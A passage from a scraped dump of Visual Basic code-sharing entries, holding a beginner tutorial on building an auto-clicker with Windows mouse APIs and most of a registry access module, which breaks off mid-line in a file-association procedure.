them to include this functionallity. THX.\n"},{"WorldId":1,"id":46037,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46042,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46047,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46054,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46061,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46067,"LineNumber":1,"line":"<div align=\"center\">How to make an Auto Clicker \n By Tazrockon</div>\nBefore you begin this tutorial there are some things I expect you to know. \n You should have some experience with programming in Visual Basic and you should \n at least have some basic knowledge of how to use Windows API in your programs. \n I also expect you to be able to use forms, modules, and the standard Visual \n Basic objects. Using this knowledge that already exists in your head I will \n now attempt to teach you how to make a simple auto clicker that will repeatedly \n click a certain coordinate on the screen every two seconds until told to stop.\nThe first thing you need to do is open up Visual Basic and start a Standard \n EXE. On your form place two text boxes, two labels, and four command buttons. \n Position the two text boxes side by side with some space in between in the middle \n of the left side of the form. Above each text box put the two labels. Below \n the two text boxes put two command buttons. Now, on the right side of the form \n put the other two text boxes one above the other. In the label above the first \n text box type in "X Pos:" (without the " 's). In the other label \n type "Y Pos:". Clear out the text of the two text boxes and make the \n first command button below them say "Lock" and the other "Unlock". \n Now in the first command button on the right side of the form type in "Begin" \n and in the one below it type "End". Now your GUI is pretty much finished.\nHere's how the program is going to work when we are finished. When the form \n loads, the first text box will contain the user's mouse's X coordinate and the \n second will contain the user's Y coordinate as they move their mouse around \n the screen. The first command button under the mouse position boxes that reads \n "Lock" will be used to lock the users current mouse coordinates in \n the text boxes so the user can move their mouse around without the text box's \n numbers changing. The second command button which reads "Unlock" will \n be used to unlock the current coordinates in the text boxes so that the user \n can see their mouse's coordinates once again as they move their mouse across \n the screen. The first command button on the right that reads "Begin" \n will make the program start clicking the coordinates locked by the user and \n the "End" button below it will make the program stop clicking.\nNow the light reading is over and we are ready to get down to the code. Make \n a new Module and in it add the lines:\nDeclare Function GetCursorPos& Lib "user32" \n (lpPoint As PointAPI) \n Type PointAPI \n X As Long \n Y As Long \n End Type\nLine1 : This is needed to tell the computer the program \n wants to get the cursor position. \n Line2 : This starts PointAPI. \n Line3 : Sets the X coordinate variable as Long. \n Line4 : Sets the Y coordinate variable as Long. \n Line5 : This ends PointAPI.\nGo back to your form and add a timer. Set Enabled to True and the Interval \n to 10. Double click on the timer to get to the code window so you can make the \n timer do something. In the timer sub type:\nDim pos \n Dim pt As PointAPI \n pos = GetCursorPos(pt) \n Text1.Text = pt.X \n Text2.Text = pt.Y\nLine1 : This sets pos as a variable. \n Line2 : This sets the variable pt to the PointAPI used in the module. \n Line3 : Sets pos equal to GetCursorPos(pt). Basicly it gets the mouse coordinates \n from the PointAPI. \n Line4 : Makes Text1 read out the current X position of the mouse. \n Line5 : Makes Text2 read out the current Y position of the mouse.\nIf you have done everything correctly you should now be able to run the program. \n When it starts up it should tell the current position of your mouse as you move \n it across the screen. Try moving your mouse to the very left bottom corner of \n your computer screen and see what it says the coordinates are. Now we can add \n the ability to Lock and Unlock coordinates. You will probably be suprised at \n how easy this is to do. Go back to your form and double click on the button \n that reads "Lock". In the command sub type:\nTimer1.Enabled = False\nLine1 : Disables Timer1 so that it will stop reading \n out the mouse coordinates.\nGo back to the form and double click on the button that reads "Unlock". \n In this command sub in the code window type:\nTimer1.Enabled = True\nLine1 : Re-enables Timer1 so that it will start showing \n the current coords again.\nNow run the program. Test out clicking the Lock and Unlock buttons. Have you \n found something bad about these buttons? Chances are you have. You can not lock \n the coords of anywhere except where the Lock button is. This can easilly be \n fixed. Go back to your form and click on the Lock button once. Now change the \n caption from "Lock" to "&Lock". Notice how the button \n now reads Lock. This means that when you run your program if you press Alt and \n L on your keyboard your program will act as if you pressed the Lock button. \n This will enable you to lock coordinates anywhere on your monitor.\nWe have set up the GUI, gotten the mouse's coordinates, and made Lock and Unlock \n buttons. What are we going to do now? We are going to make the code that will \n make our program actually click on the coordinates we lock. This is the hardest \n part of the tutorial, but if you have made it this far alright and you have \n gotten the code to get the cursor position to work, then you should be able \n to achieve our new goal. Open up the module and add the following beneath End \n Type of our Point API:\nDeclare Function SetCursorPos Lib "user32" \n (ByVal X As Long, ByVal Y As Long) As Long \n Declare Sub mouse_event Lib "user32" (ByVal dwFlags As Long, ByVal \n dx As Long, ByVal dy As Long, ByVal cButtons As Long, ByVal dwExtraInfo As Long) \n Public Const MOUSEEVENTF_LEFTDOWN = &H2 \n Public Const MOUSEEVENTF_LEFTUP = &H4\nLine1 : This is needed to tell the computer what to use \n to set the cursor position. \n Line2 : Gets different mouse events from the computer. \n Line3 : Makes the mouse event left down public so we can use it in the rest \n of our module. \n Line4 : Makes the mouse event left up public so we can use it in the rest of \n our module.\nNow we need to turn these API's into actions that are program can do. First \n we will make the MouseMove action that we will use to, you got it, move the \n mouse. Under the last line of API that we typed add the following code:\nSub MouseMove(xP As Long, yP As Long) \n Dim move \n move = SetCursorPos(xP, yP) \n End Sub\nLine1 : This creates the MouseMove Sub and sets the variable \n xP and yP yo Long. \n Line2 : Sets the variable move. \n Line3 : Sets move equal to the API SetCursorPos in (xP,yP), \n Line4 : Ends the Sub.\nWe have the code in the module to make our mouse move, but how do we incorporate \n this into our form? Now the magic will begin. Go back to your form and add a \n second timer. Set Enabled to False and make the Interval 2000 (every two seconds). \n Double click on it and add this code:\nDim xP As Long \n Dim yP As Long \n xP = Text1.Text \n yP = Text2.Text \n MouseMove (xP), (yP) \nLine1 : Sets the variable xP as Long \n Line2 : Sets the variable yP as Long \n Line3 : Makes xP equal the X position that's in the first text box \n Line4 : Makes yP equal the Y position that's in the second text box \n Line5 : Uses the MouseMove sub that we put in our module to move the mouse to \n the locked coordinates (xP and yP)\nGo back to your form. Double click on the button on the right side of the form \n that reads "Begin". Here we will put in the code that enables our \n second timer. Type in this code:\nTimer2.Enabled = True\nLine1 : This enables (turns on) Timer2 that has the MouseMove \n procedure in it.\nNow go back to your form and double click on the button that reads "End". \n Here we will put the code that disables the second timer, which will make the \n program stop trying to move the mouse to the locked coordinates.\nTimer2.Enabled = False\nLine1 : This disables Timer2 and will make the program \n stop moving the mouse.\nNow run the program. Position your mouse somewhere on the screen and lock its' \n position. Click the begin button and watch your mouse move to the coordinates \n you locked. Now quickly move your mouse over the Endd button and click on it. \n This should make your program stop moving the mouse. All we have left to do \n is make the program click on the coordinate. Go back to the module and add the \n following code below our MouseMove sub:\nSub LeftClick(xP As Long, yP As Long) \n mouse_event MOUSEEVENTF_LEFTDOWN, xP, yP, 0, 0 \n mouse_event MOUSEEVENTF_LEFTUP, xP, yP, 0, 0 \n End Sub\nLine1 : This creates the LeftClick sub and sets the variables \n xP and yP as Long. \n Line2 : Tells our program to push down the left mouse button on the coordinates. \n Line3 : Tells our program to let up the left mouse button on the coordinates. \n Line4 : Ends the LeftClick sub.\nGo back to the form and look at the Timer2 code. Below the MouseMove line we \n need to add the code that will pull the LeftClick procedure from the module. \n This is very easy. Add this code to the Timer2 sub:\nLeftClick (xP), (yP)\nLine1 : Uses the LeftClick sub that we put in our module \n to left click the coordinates.\nWe should now have a fully functional automatic clicking program that will \n click on given coordinates every two seconds until told to stop. Some things \n to try are:\n*Make a program that clicks on 2 or more points. \n *Use a slider to allow the user to change the clicking interval. \n *Make a mouse macro that will run Paint by clicking on Start, moving the mouse \n up to Programs, move the mouse up to Accessories, and clicking on Paint. "},{"WorldId":1,"id":46068,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46073,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46074,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46078,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46084,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46089,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46090,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46096,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46097,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45064,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45074,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45080,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45085,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45086,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45091,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45103,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45110,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45115,"LineNumber":1,"line":"'=================================================\n'AUTHOR : Eric O'Sullivan\n' -----------------------------------------------\n'DATE : 11 Januarary 2001\n' -----------------------------------------------\n'CONTACT: DiskJunky@hotmail.com\n' -----------------------------------------------\n'TITLE : Registry Access Module\n' -----------------------------------------------\n'COMMENTS :\n'This was made to retrieve various information\n'that is stored in the registry.\n'=================================================\n'all variables must be declared\nOption Explicit\n'this module cannot be accessed from outside this project\nOption Private Module\n'text comparisons are not case sensitive\nOption Compare Text\n'------------------------------------------------\n' API DECLARATIONS\n'------------------------------------------------\n'api calls to retereive the system and windows folders\nPrivate Declare Function GetSystemDirectory _\n Lib \"kernel32\" _\n Alias \"GetSystemDirectoryA\" _\n (ByVal lpBuffer As String, _\n ByVal nSize As Long) _\n As Long\nPrivate Declare Function GetWindowsDirectory _\n Lib \"kernel32\" _\n Alias \"GetWindowsDirectoryA\" _\n (ByVal lpBuffer As String, _\n ByVal nSize As Long) _\n As Long\n'get the location of the temp directory on the system\nPrivate Declare Function GetTempDirectory _\n Lib \"kernel32\" _\n Alias \"GetTempPathA\" _\n (ByVal lBufferLength As Long, _\n ByVal strBuffer As String) _\n As Long\n'get information about the current operating system\nPrivate Declare Function GetVersionEx _\n Lib \"kernel32\" _\n Alias \"GetVersionExA\" _\n (ByRef lpVersionInformation As OSVERSIONINFO) _\n As Long\n'registry api calls\n'close an open registry key\nPrivate Declare Function RegCloseKey _\n Lib \"advapi32.dll\" _\n (ByVal hKey As Long) _\n As Long\n \n'connect with the registry on a remote machine\nPrivate Declare Function RegConnectRegistry _\n Lib \"advapi32.dll\" _\n Alias \"RegConnectRegistryA\" _\n (ByVal lpMachineName As String, _\n ByVal hKey As Long, _\n phkResult As Long) _\n As Long\n'create a new registry key\nPrivate Declare Function RegCreateKey _\n Lib \"advapi32.dll\" _\n Alias \"RegCreateKeyA\" _\n (ByVal hKey As Long, _\n ByVal lpSubKey As String, _\n phkResult As Long) _\n As Long\n'create new - entended\nPrivate Declare Function RegCreateKeyEx _\n Lib \"advapi32.dll\" _\n Alias \"RegCreateKeyExA\" _\n (ByVal hKey As Long, _\n ByVal lpSubKey As String, _\n ByVal Reserved As Long, _\n ByVal lpClass As String, _\n ByVal dwOptions As Long, _\n ByVal samDesired As Long, _\n lpSecurityAttributes As SECURITY_ATTRIBUTES, _\n phkResult As Long, _\n lpdwDisposition As Long) _\n As Long\n'delete the specified registry key (also any sub keys\n'for non-NT based systems)\nPrivate Declare Function RegDeleteKey _\n Lib \"advapi32.dll\" _\n Alias \"RegDeleteKeyA\" _\n (ByVal hKey As Long, _\n ByVal lpSubKey As String) _\n As Long\n'delete a registry value\nPrivate Declare Function RegDeleteValue _\n Lib \"advapi32.dll\" _\n Alias \"RegDeleteValueA\" _\n (ByVal hKey As Long, _\n ByVal lpValueName As String) _\n As Long\n'return a list of registry sub keys in the specified key\nPrivate Declare Function RegEnumKey _\n Lib \"advapi32.dll\" _\n Alias \"RegEnumKeyA\" _\n (ByVal hKey As Long, _\n ByVal dwIndex As Long, _\n ByVal lpName As String, _\n ByVal cbName As Long) _\n As Long\nPrivate Declare Function RegEnumKeyEx _\n Lib \"advapi32.dll\" _\n Alias \"RegEnumKeyExA\" _\n (ByVal hKey As Long, _\n ByVal dwIndex As Long, _\n ByVal lpName As String, _\n lpcbName As Long, _\n ByVal lpReserved As Long, _\n ByVal lpClass As String, _\n lpcbClass As Long, _\n lpftLastWriteTime As FILETIME) _\n As Long\n'get a list of registry values in a key\nPrivate Declare Function RegEnumValue _\n Lib \"advapi32.dll\" _\n Alias \"RegEnumValueA\" _\n (ByVal hKey As Long, _\n ByVal dwIndex As Long, _\n ByVal lpValueName As String, _\n lpcbValueName As Long, _\n ByVal lpReserved As Long, _\n lpType As Long, _\n lpData As Byte, _\n lpcbData As Long) _\n As Long\n'writes all the attributes of the specified open key\n'into the registry\nPrivate Declare Function RegFlushKey _\n Lib \"advapi32.dll\" _\n (ByVal hKey As Long) _\n As Long\n'get the security attributes of the specified key\nPrivate Declare Function RegGetKeySecurity _\n Lib \"advapi32.dll\" _\n (ByVal hKey As Long, _\n ByVal SecurityInformation As Long, _\n pSecurityDescriptor As SECURITY_DESCRIPTOR, _\n lpcbSecurityDescriptor As Long) _\n As Long\n'creates a subkey under HKEY_USER or HKEY_LOCAL_MACHINE\n'and stores registration information from a specified\n'file into that subkey. This registration information\n'is in the form of a hive. A hive is a discrete body of\n'keys, subkeys, and values that is rooted at the top of\n'the registry hierarchy. A hive is backed by a single\n'file and .LOG file\nPrivate Declare Function RegLoadKey _\n Lib \"advapi32.dll\" _\n Alias \"RegLoadKeyA\" _\n (ByVal hKey As Long, _\n ByVal lpSubKey As String, _\n ByVal lpFile As String) _\n As Long\n'notify a specified procedure (use the AddressOf\n'operator), that a key has changed\nPrivate Declare Function RegNotifyChangeKeyValue _\n Lib \"advapi32.dll\" _\n (ByVal hKey As Long, _\n ByVal bWatchSubtree As Long, _\n ByVal dwNotifyFilter As Long, _\n ByVal hEvent As Long, _\n ByVal fAsynchronus As Long) _\n As Long\n'open a registry key for access\nPrivate Declare Function RegOpenKey _\n Lib \"advapi32.dll\" _\n Alias \"RegOpenKeyA\" _\n (ByVal hKey As Long, _\n ByVal lpSubKey As String, _\n phkResult As Long) _\n As Long\nPrivate Declare Function RegOpenKeyEx _\n Lib \"advapi32.dll\" _\n Alias \"RegOpenKeyExA\" _\n (ByVal hKey As Long, _\n ByVal lpSubKey As String, _\n ByVal ulOptions As Long, _\n ByVal samDesired As Long, _\n phkResult As Long) _\n As Long\n'get key information\nPrivate Declare Function RegQueryInfoKey _\n Lib \"advapi32.dll\" _\n Alias \"RegQueryInfoKeyA\" _\n (ByVal hKey As Long, _\n ByVal lpClass As String, _\n lpcbClass As Long, _\n ByVal lpReserved As Long, _\n lpcSubKeys As Long, _\n lpcbMaxSubKeyLen As Long, _\n lpcbMaxClassLen As Long, _\n lpcValues As Long, _\n lpcbMaxValueNameLen As Long, _\n lpcbMaxValueLen As Long, _\n lpcbSecurityDescriptor As Long, _\n lpftLastWriteTime As FILETIME) _\n As Long\n'get value information. Note that if you declare the\n'lpData parameter as String, you must pass it By Value.\nPrivate Declare Function RegQueryValue _\n Lib \"advapi32.dll\" _\n Alias \"RegQueryValueA\" _\n (ByVal hKey As Long, _\n ByVal lpSubKey As String, _\n ByVal lpValue As String, _\n lpcbValue As Long) _\n As Long\nPrivate Declare Function RegQueryValueEx _\n Lib \"advapi32.dll\" _\n Alias \"RegQueryValueExA\" _\n (ByVal hKey As Long, _\n ByVal lpValueName As String, _\n ByVal lpReserved As Long, _\n lpType As Long, _\n lpData As Any, _\n lpcbData As Long) _\n As Long\n'replace one key with another\nPrivate Declare Function RegReplaceKey _\n Lib \"advapi32.dll\" _\n Alias \"RegReplaceKeyA\" _\n (ByVal hKey As Long, _\n ByVal lpSubKey As String, _\n ByVal lpNewFile As String, _\n ByVal lpOldFile As String) _\n As Long\n'reads registry information from a file and enters it\n'into the registry\nPrivate Declare Function RegRestoreKey _\n Lib \"advapi32.dll\" _\n Alias \"RegRestoreKeyA\" _\n (ByVal hKey As Long, _\n ByVal lpFile As String, _\n ByVal dwFlags As Long) _\n As Long\n'saves a registry key and all its values to a file\nPrivate Declare Function RegSaveKey _\n Lib \"advapi32.dll\" _\n Alias \"RegSaveKeyA\" _\n (ByVal hKey As Long, _\n ByVal lpFile As String, _\n lpSecurityAttributes As SECURITY_ATTRIBUTES) _\n As Long\n'set the security attributes of the specified registry\n'key\nPrivate Declare Function RegSetKeySecurity _\n Lib \"advapi32.dll\" _\n (ByVal hKey As Long, _\n ByVal SecurityInformation As Long, _\n pSecurityDescriptor As SECURITY_DESCRIPTOR) _\n As Long\n'set the information of an existing value. Note that if\n'you declare the lpData parameter as String, you must\n'pass it By Value.\nPrivate Declare Function RegSetValue _\n Lib \"advapi32.dll\" _\n Alias \"RegSetValueA\" _\n (ByVal hKey As Long, _\n ByVal lpSubKey As String, _\n ByVal dwType As Long, _\n ByVal lpData As String, _\n ByVal cbData As Long) _\n As Long\nPrivate Declare Function RegSetValueEx _\n Lib \"advapi32.dll\" _\n Alias \"RegSetValueExA\" _\n (ByVal hKey As Long, _\n ByVal lpValueName As String, _\n ByVal Reserved As Long, _\n ByVal dwType As Long, _\n lpData As Any, _\n ByVal cbData As Long) _\n As Long\n \n'unloads a registry key and its values from the registry\nPrivate Declare Function RegUnLoadKey _\n Lib \"advapi32.dll\" _\n Alias \"RegUnLoadKeyA\" _\n (ByVal hKey As Long, _\n ByVal lpSubKey As String) _\n As Long\n'system information api calls\nPrivate Declare Sub GlobalMemoryStatus _\n Lib \"kernel32\" _\n (lpBuffer As MEMORYSTATUS)\nPrivate Declare Function GetDiskFreeSpace _\n Lib \"kernel32\" _\n Alias \"GetDiskFreeSpaceA\" _\n (ByVal lpRootPathName As String, _\n lpSectorsPerCluster As Long, _\n lpBytesPerSector As Long, _\n lpNumberOfFreeClusters As Long, _\n lpTotalNumberOfClusters As Long) _\n As Long\nPrivate Declare Function GetTickCount _\n Lib \"kernel32\" _\n () As Long\n'------------------------------------------------\n' ENUMERATORS\n'------------------------------------------------\nPublic Enum MemType\n CPUUsage\n MemoryUsage\n TotalPhysical\n AvailablePhysical\n TotalPageFile\n AvailablePageFile\n TotalVirtual\n AvailableVirtual\n TotalDisk\n AvailableDisk\nEnd Enum\nPublic Enum AccessType\n FileInput = 0\n FileOutPut = 1\n FileRandom = 2\n FileBinary = 3\n FileAppend = 4\nEnd Enum\n'registry root directory constants\nPublic Enum RegistryHives\n HKEY_CLASSES_ROOT = &H80000000\n HKEY_CURRENT_CONFIG = &H80000005\n HKEY_CURRENT_USER = &H80000001\n HKEY_DYN_DATA = &H80000006\n HKEY_LOCAL_MACHINE = &H80000002\n HKEY_PERFORMANCE_DATA = &H80000004\n HKEY_USERS = &H80000003\nEnd Enum\n'registry key constants\nPublic Enum RegistryKeyAccess\n KEY_CREATE_LINK = &H20\n KEY_CREATE_SUB_KEY = &H4\n KEY_ENUMERATE_SUB_KEYS = &H8\n KEY_EVENT = &H1 ' Event contains key event record\n KEY_NOTIFY = &H10\n KEY_QUERY_VALUE = &H1\n KEY_SET_VALUE = &H2\n READ_CONTROL = &H20000\n STANDARD_RIGHTS_ALL = &H1F0000\n STANDARD_RIGHTS_REQUIRED = &HF0000\n SYNCHRONIZE = &H100000\n STANDARD_RIGHTS_EXECUTE = (READ_CONTROL)\n STANDARD_RIGHTS_READ = (READ_CONTROL)\n STANDARD_RIGHTS_WRITE = (READ_CONTROL)\n KEY_ALL_ACCESS = ((STANDARD_RIGHTS_ALL + KEY_QUERY_VALUE + KEY_SET_VALUE + KEY_CREATE_SUB_KEY + KEY_ENUMERATE_SUB_KEYS + KEY_NOTIFY + KEY_CREATE_LINK) And (Not SYNCHRONIZE))\n KEY_READ = ((STANDARD_RIGHTS_READ Or KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY) And (Not SYNCHRONIZE))\n KEY_EXECUTE = ((KEY_READ) And (Not SYNCHRONIZE))\n KEY_WRITE = ((STANDARD_RIGHTS_WRITE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY) And (Not SYNCHRONIZE))\nEnd Enum\n'registry value attributes\nPublic Enum RegistryKeyValues\n REG_CREATED_NEW_KEY = &H1 ' New Registry Key created\n REG_EXPAND_SZ = 2 ' Unicode nul terminated string\n REG_FULL_RESOURCE_DESCRIPTOR = 9 ' Resource list in the hardware description\n REG_LINK = 6 ' Symbolic Link (unicode)\n REG_MULTI_SZ = 7 ' Multiple Unicode strings\n REG_NONE = 0 ' No value type\n REG_NOTIFY_CHANGE_ATTRIBUTES = &H2\n REG_NOTIFY_CHANGE_LAST_SET = &H4 ' Time stamp\n REG_NOTIFY_CHANGE_NAME = &H1 ' Create or delete (child)\n REG_NOTIFY_CHANGE_SECURITY = &H8\n REG_OPENED_EXISTING_KEY = &H2 ' Existing Key opened\n REG_OPTION_BACKUP_RESTORE = 4 ' open for backup or restore\n REG_OPTION_CREATE_LINK = 2 ' Created key is a symbolic link\n REG_OPTION_NON_VOLATILE = 0 ' Key is preserved when system is rebooted\n REG_OPTION_RESERVED = 0 ' Parameter is reserved\n REG_OPTION_VOLATILE = 1 ' Key is not preserved when system is rebooted\n REG_REFRESH_HIVE = &H2 ' Unwind changes to last flush\n REG_RESOURCE_LIST = 8 ' Resource list in the resource map\n REG_RESOURCE_REQUIREMENTS_LIST = 10\n REG_SZ = 1 ' Unicode nul terminated string\n REG_WHOLE_HIVE_VOLATILE = &H1 ' Restore whole hive volatile\n REG_LEGAL_CHANGE_FILTER = (REG_NOTIFY_CHANGE_NAME Or REG_NOTIFY_CHANGE_ATTRIBUTES Or REG_NOTIFY_CHANGE_LAST_SET Or REG_NOTIFY_CHANGE_SECURITY)\n REG_LEGAL_OPTION = (REG_OPTION_RESERVED Or REG_OPTION_NON_VOLATILE Or REG_OPTION_VOLATILE Or REG_OPTION_CREATE_LINK Or REG_OPTION_BACKUP_RESTORE)\nEnd Enum\nPublic Enum RegistryDataTypes\n REG_DT_SZ = 1 ' string data\n REG_DT_BINARY = 3 ' Free form binary\n REG_DT_DWORD = 4 ' 32-bit number\n REG_DT_DWORD_BIG_ENDIAN = 5 ' 32-bit number\n REG_DT_DWORD_LITTLE_ENDIAN = 4 ' 32-bit number (same as REG_DWORD)\nEnd Enum\nPublic Enum RegistryLongTypes\n REG_BINARY = 3 ' Free form binary\n REG_DWORD = 4 ' 32-bit number\n REG_DWORD_BIG_ENDIAN = 5 ' 32-bit number\n REG_DWORD_LITTLE_ENDIAN = 4 ' 32-bit number (same as REG_DWORD)\nEnd Enum\n'error codes returned\nPublic Enum RegistryErrorCodes\n ERROR_ACCESS_DENIED = 5&\n ERROR_INVALID_PARAMETER = 87 ' dderror\n ERROR_MORE_DATA = 234 ' dderror\n ERROR_SUCCESS = 0&\nEnd Enum\n'the shell folders like my documents, recycle bin, temp directory etc.\nPublic Enum ShellFoldersType\n 'registry entry names\n ApplicationDataDir = 0\n TempInetFilesDir = 1\n CookiesDir = 2\n DesktopDir = 3\n FavouritesDir = 4\n FontsDir = 5\n HistoryDir = 6\n LocalAppDataDir = 7\n NetHoodDir = 8\n MyDocumentsDir = 9\n PrintHoodDir = 10\n StartProgramsDir = 11\n RecentDir = 12\n SendToDir = 13\n StartMenuDir = 14\n StartupDir = 15\n TemplatesDir = 16\n \n 'these next items are not stored in the registry\n SystemDir = 17\n WindowsDir = 18\n TempDir = 19 'temperory folder is always in the Windows directory\nEnd Enum\nPublic Enum StartLoginType\n RunBeforeLogin\n RunAfterLogin\nEnd Enum\n'the different nt privilages that can be set/unset\nPublic Enum EnumNTSettings\n 'items that can be disabled on the Lock Screen\n CHANGE_PASSWORD = 0\n LOCK_WORKSTATION = 1\n REGISTRY_TOOLS = 2\n TASK_MGR = 3\n \n 'the tabs on the Display Properties dialog box\n DISP_APPEARANCE_PAGE = 4\n DISP_BACKGROUND_PAGE = 5\n DISP_CPL = 6\n DISP_SCREENSAVER = 7\n DISP_SETTINGS = 8\nEnd Enum\n'------------------------------------------------\n' USER-DEFINED TYPES\n'------------------------------------------------\n'holds information about the current operating system that the program is\n'running on\nPrivate Type OSVERSIONINFO\n dwOSVersionInfoSize As Long\n dwMajorVersion As Long\n dwMinorVersion As Long\n dwBuildNumber As Long\n dwPlatformId As Long\n szCSDVersion As String * 128\nEnd Type\n'the current status of physical (ram), virtual memory and the page file.\nPublic Type MEMORYSTATUS\n dwLength As Long\n dwMemoryLoad As Long\n dwTotalPhys As Long\n dwAvailPhys As Long\n dwTotalPageFile As Long\n dwAvailPageFile As Long\n dwTotalVirtual As Long\n dwAvailVirtual As Long\nEnd Type\n'defined structures needed\nPublic Type ACL\n AclRevision As Byte\n Sbz1 As Byte\n AclSize As Integer\n AceCount As Integer\n Sbz2 As Integer\nEnd Type\nPublic Type FILETIME\n dwLowDateTime As Long\n dwHighDateTime As Long\nEnd Type\nPublic Type SECURITY_ATTRIBUTES\n nLength As Long\n lpSecurityDescriptor As Long\n bInheritHandle As Long\nEnd Type\nPublic Type SECURITY_DESCRIPTOR\n Revision As Byte\n Sbz1 As Byte\n Control As Long\n gstrOwner As Long\n Group As Long\n Sacl As ACL\n Dacl As ACL\nEnd Type\n'------------------------------------------------\n' MODULE-LEVEL CONSTANTS\n'------------------------------------------------\n'module constants\nPrivate Const WIN_INFO_SUBKEY As String = \"Software\\Microsoft\\Windows\\CurrentVersion\" 'HKEY_LOCAL_MACHINE\nPrivate Const WIN_NT_INFO_SUBKEY As String = \"Software\\Microsoft\\Windows NT\\CurrentVersion\" 'HKEY_LOCAL_MACHINE\nPrivate Const SHELL_FOLDERS_SUBKEY As String = \".Default\\Software\\Microsoft\\Windows\\\" + _\n \"CurrentVersion\\Explorer\\Shell Folders\" 'HKEY_USERS\nPrivate Const COUNTRY_SUBKEY As String = \".Default\\Control Panel\\International\" 'HKEY_USERS\nPrivate Const NT_SETTINGS As String = WIN_INFO_SUBKEY & \"\\Policies\\System\" 'HKEY_CURRENT_USER\nPrivate Const W2K_SETTINGS As String = WIN_INFO_SUBKEY & \"\\Group Policy Objects\\LocalUser\\\" + _\n \"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" 'HKEY_CURRENT_USER\nPrivate Const STARTUP_AL_SUBKEY As String = WIN_INFO_SUBKEY & \"\\Run\" 'run after login screen\nPrivate Const STARTUP_BL_SUBKEY As String = WIN_INFO_SUBKEY & \"\\RunServices\" 'run before login screen\n'------------------------------------------------\n' PROCEDURES\n'------------------------------------------------\nPublic Sub CreateFileAssociation(ByVal strFileType As String, _\n ByVal strTypeDescription As String, _\n Optional ByVal strExeName As String, _\n Optional ByVal strExePath As String, _\n Optional ByVal strIconPath As String)\n 'This procedure will create a new association for a file. For anyone\n 'who is unfamiliar with this, this means that if you were to double-\n 'click on a file with the specified extention, the specified application\n 'would start. eg, if you were to double click on a .txt file, notepad\n 'would start and open the file.\n 'Please note that if you wish to associate an icon, the icon has to be\n 'a .ico file - no other file types are accepted. If you wish to use an\n 'icon that is only in your exe (if your distributing you app for\n 'example), then you need to save the icon as a file. This can be done\n 'by using;\n '\n 'Call SavePicture(MyControl.Picture, App.Path & \"\\MyIcon.ico\")\n '\n 'Although, please note that the picture must have originally been an\n 'icon before you tried to save it as one.\n \n \n Dim lngResult As Long\n Dim strFullPath As String\n Dim strAppKey As String\n \n 'exit procedure if the file type feild is blank\n If (strFileType = \"\") Then\n Exit Sub\n Else\n 'if the first character is a dot, then remove it\n If Left(strFileType, 1) = \".\" Then\n strFileType = Right(strFileType, Len(strFileType) - 1)\n End If\n \n 'check to see that the file type is only three characters long\n If Len(strFileType) > 3 Then\n strFileType = Left(strFileType, 3)\n End If\n \n 'the type description should be no longer than 25 characters\n '(this is not necessary, but it keeps things neat in the registry)\n If Len(strTypeDescription) > 25 Then\n strTypeDescription = Left(strTypeDescription, 25)\n End If\n End If\n \n 'set the default paths and exe name is they were not specified\n If strExeName = \"\" Then\n strExeName = App.ExeName\n End If\n \n If strExePath = \"\" Then\n strExePath = App.Path\n End If\n \n 'make sure that the exename ends in \".exe\"\n If LCase(Right(strExeName, 4)) <> \".exe\" Then\n strExeName = strExeName & \".exe\"\n End If\n \n 'get the full path name of the exe\n If Right(strExePath, 1) = \"\\\" Then\n 'if the path already contains a trailing backslash (eg \"d:\\\") then\n 'don't add one when creating the path\n strFullPath = strExePath & strExeName\n Else\n 'insert a backslash to seperate the name from the path\n strFullPath = strExePath & \"\\\" & strExeName\n End If\n \n 'check to make sure that the file exists\n If Dir(strFullPath) = \"\" Then\n 'there is no file\n Exit Sub\n End If\n \n 'if no icon was specified, then use the icon for the exe\n If (strIconPath = \"\") Or (Dir(strIconPath) = \"\") Then\n strIconPath = strFullPath\n End If\n \n 'create the file type extention in the registry\n Call CreateSubKey(HKEY_CLASSES_ROOT, \".\" & strFileType)\n \n 'create the registry entry in the above sub key that holds the\n 'sub key with the file path\n 'eg, \"MyApp.Description\", \"Vb6.Module\", \"Word.Document\"\n 'Note that a blank entry lable name means a default value for that key,\n 'if any spaces are in the type description, they are replaced with\n 'a \".\" character.\n strAppKey = Replace(Left(strExeName, Len(strExeName) - 4) & \".\" & strTypeDescription, \" \", \".\")\n Call CreateRegString(HKEY_CLASSES_ROOT, _\n \".\" & strFileType, _\n \"\", _\n strAppKey)\n \n 'create the key that will hold the applications path and type information.\n 'additional commands can be put into the \"Shell\\Open\\Command\" sub key.\n 'This means that when you right click on the file type, a popup menu\n 'appears with the Open option. Other options can be inserted into this\n 'menu by creating sub keys in the Shell key like; \"Print\\Command\",\n '\"Edit\\Command\", \"Assemble\\Command\", \"Split\\Command\" etc. where\n 'the Command sub key contains a [default] entry with a command line\n 'parameter to an executable file like \"C:\\Windows\\Notepad.exe /p %1\"\n Call CreateSubKey(HKEY_CLASSES_ROOT, _\n strAppKey & \"\\Shell\\Open\\Command\")\n \n 'create the text that describes the file type\n Call CreateRegString(HKEY_CLASSES_ROOT, _\n strAppKey, _\n \"\", _\n strTypeDescription)\n \n 'create the command line parameter to open the file type with the\n 'application specified\n Call 